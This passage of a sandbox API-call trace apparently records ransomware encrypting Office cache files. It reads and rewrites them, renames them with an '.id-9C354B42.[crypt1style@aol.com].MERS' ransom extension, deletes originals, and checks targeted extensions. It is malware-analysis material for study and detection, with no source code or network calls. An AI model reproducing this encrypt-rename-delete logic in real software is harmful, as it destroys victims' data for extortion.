lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.006] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.128] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.129] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0040.152] SetEndOfFile (hFile=0x1a4) returned 1 [0040.152] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0040.411] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0040.411] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.472] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0040.472] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.474] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0040.474] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.476] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0040.476] CloseHandle (hObject=0x1a4) returned 1 [0042.146] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0042.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.146] lstrlenW (lpString=".doc") returned 4 [0042.146] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.146] lstrlenW (lpString=".docx") returned 5 [0042.146] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.146] lstrlenW (lpString=".pdf") returned 4 [0042.146] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.146] lstrlenW (lpString=".xls") returned 4 [0042.146] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.146] lstrlenW (lpString=".xlsx") returned 5 [0042.146] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.146] lstrlenW (lpString=".ppt") returned 4 [0042.146] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.146] lstrlenW (lpString=".zip") returned 4 [0042.146] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.146] lstrlenW (lpString=".rar") returned 4 [0042.146] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.146] lstrlenW (lpString=".bz2") returned 4 [0042.147] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.147] lstrlenW (lpString=".7z") returned 3 [0042.147] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString=".dbf") returned 4 [0042.147] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString=".1cd") returned 4 [0042.147] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString=".jpg") returned 4 [0042.147] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString=".doc") returned 4 [0042.147] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString=".docx") returned 5 [0042.147] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.147] lstrlenW (lpString=".pdf") returned 4 [0042.147] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString=".xls") returned 4 [0042.147] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString=".xlsx") returned 5 [0042.147] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.147] lstrlenW (lpString=".ppt") returned 4 [0042.147] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString=".zip") returned 4 [0042.147] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString=".rar") returned 4 [0042.147] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.147] lstrlenW (lpString=".bz2") returned 4 [0042.147] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.147] lstrlenW (lpString=".7z") returned 3 [0042.147] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.147] lstrlenW (lpString=".dbf") returned 4 [0042.147] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.148] lstrlenW (lpString=".1cd") returned 4 [0042.148] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.148] lstrlenW (lpString=".jpg") returned 4 [0042.148] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.148] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0042.148] lstrlenW (lpString="Proofing.msi") returned 12 [0042.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.148] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=868864) returned 1 [0042.148] CloseHandle (hObject=0x1a4) returned 1 [0042.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0042.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0042.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.148] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.148] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0042.149] GetLastError () returned 0x0 [0042.149] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0042.336] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0042.349] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0042.349] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.349] SetEndOfFile (hFile=0x1c4) returned 1 [0042.349] CloseHandle (hObject=0x1c4) returned 1 [0042.495] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.495] SetEndOfFile (hFile=0x1a4) returned 1 [0042.501] CloseHandle (hObject=0x1a4) returned 1 [0042.501] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0042.501] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString=".doc") returned 4 [0042.502] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.502] lstrlenW (lpString=".docx") returned 5 [0042.502] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0042.502] lstrlenW (lpString=".pdf") returned 4 [0042.502] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.502] lstrlenW (lpString=".xls") returned 4 [0042.502] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.502] lstrlenW (lpString=".xlsx") returned 5 [0042.502] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0042.502] lstrlenW (lpString=".ppt") returned 4 [0042.502] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString=".zip") returned 4 [0042.502] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.502] lstrlenW (lpString=".rar") returned 4 [0042.502] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.502] lstrlenW (lpString=".bz2") returned 4 [0042.502] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.502] lstrlenW (lpString=".7z") returned 3 [0042.502] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString=".dbf") returned 4 [0042.502] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString=".1cd") returned 4 [0042.502] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString=".jpg") returned 4 [0042.502] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.502] lstrlenW (lpString=".doc") returned 4 [0042.502] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.502] lstrlenW (lpString=".docx") returned 5 [0042.503] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0042.503] lstrlenW (lpString=".pdf") returned 4 [0042.503] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.503] lstrlenW (lpString=".xls") returned 4 [0042.503] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.503] lstrlenW (lpString=".xlsx") returned 5 [0042.503] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0042.503] lstrlenW (lpString=".ppt") returned 4 [0042.503] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.503] lstrlenW (lpString=".zip") returned 4 [0042.503] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.503] lstrlenW (lpString=".rar") returned 4 [0042.503] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.503] lstrlenW (lpString=".bz2") returned 4 [0042.503] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.503] lstrlenW (lpString=".7z") returned 3 [0042.503] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.503] lstrlenW (lpString=".dbf") returned 4 [0042.503] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.503] lstrlenW (lpString=".1cd") returned 4 [0042.503] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0042.503] lstrlenW (lpString=".jpg") returned 4 [0042.503] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.503] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0042.503] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0042.503] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.504] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2928955) returned 1 [0042.504] CloseHandle (hObject=0x1a4) returned 1 [0042.504] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0042.504] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0042.504] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0042.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.504] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0042.504] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.504] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.531] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.531] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.583] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.583] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.583] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.604] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.604] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0042.735] SetEndOfFile (hFile=0x1a4) returned 1 [0042.735] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0042.740] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.740] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.742] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.742] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.750] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.750] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.752] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0042.752] CloseHandle (hObject=0x1a4) returned 1 [0043.160] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.161] lstrlenW (lpString=".doc") returned 4 [0043.161] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString=".docx") returned 5 [0043.161] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.161] lstrlenW (lpString=".pdf") returned 4 [0043.161] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString=".xls") returned 4 [0043.161] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString=".xlsx") returned 5 [0043.161] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.161] lstrlenW (lpString=".ppt") returned 4 [0043.161] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.161] lstrlenW (lpString=".zip") returned 4 [0043.161] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString=".rar") returned 4 [0043.161] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString=".bz2") returned 4 [0043.161] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.161] lstrlenW (lpString=".7z") returned 3 [0043.161] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.161] lstrlenW (lpString=".dbf") returned 4 [0043.161] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.161] lstrlenW (lpString=".1cd") returned 4 [0043.161] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.161] lstrlenW (lpString=".jpg") returned 4 [0043.161] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.162] lstrlenW (lpString=".doc") returned 4 [0043.162] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString=".docx") returned 5 [0043.162] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.162] lstrlenW (lpString=".pdf") returned 4 [0043.162] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString=".xls") returned 4 [0043.162] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString=".xlsx") returned 5 [0043.162] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.162] lstrlenW (lpString=".ppt") returned 4 [0043.162] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0043.162] lstrlenW (lpString=".zip") returned 4 [0043.162] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString=".rar") returned 4 [0043.162] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.162] lstrlenW (lpString=".bz2") returned 4 [0043.162] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.162] lstrlenW (lpString=".7z") returned 3 [0043.162] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.162] lstrlenW 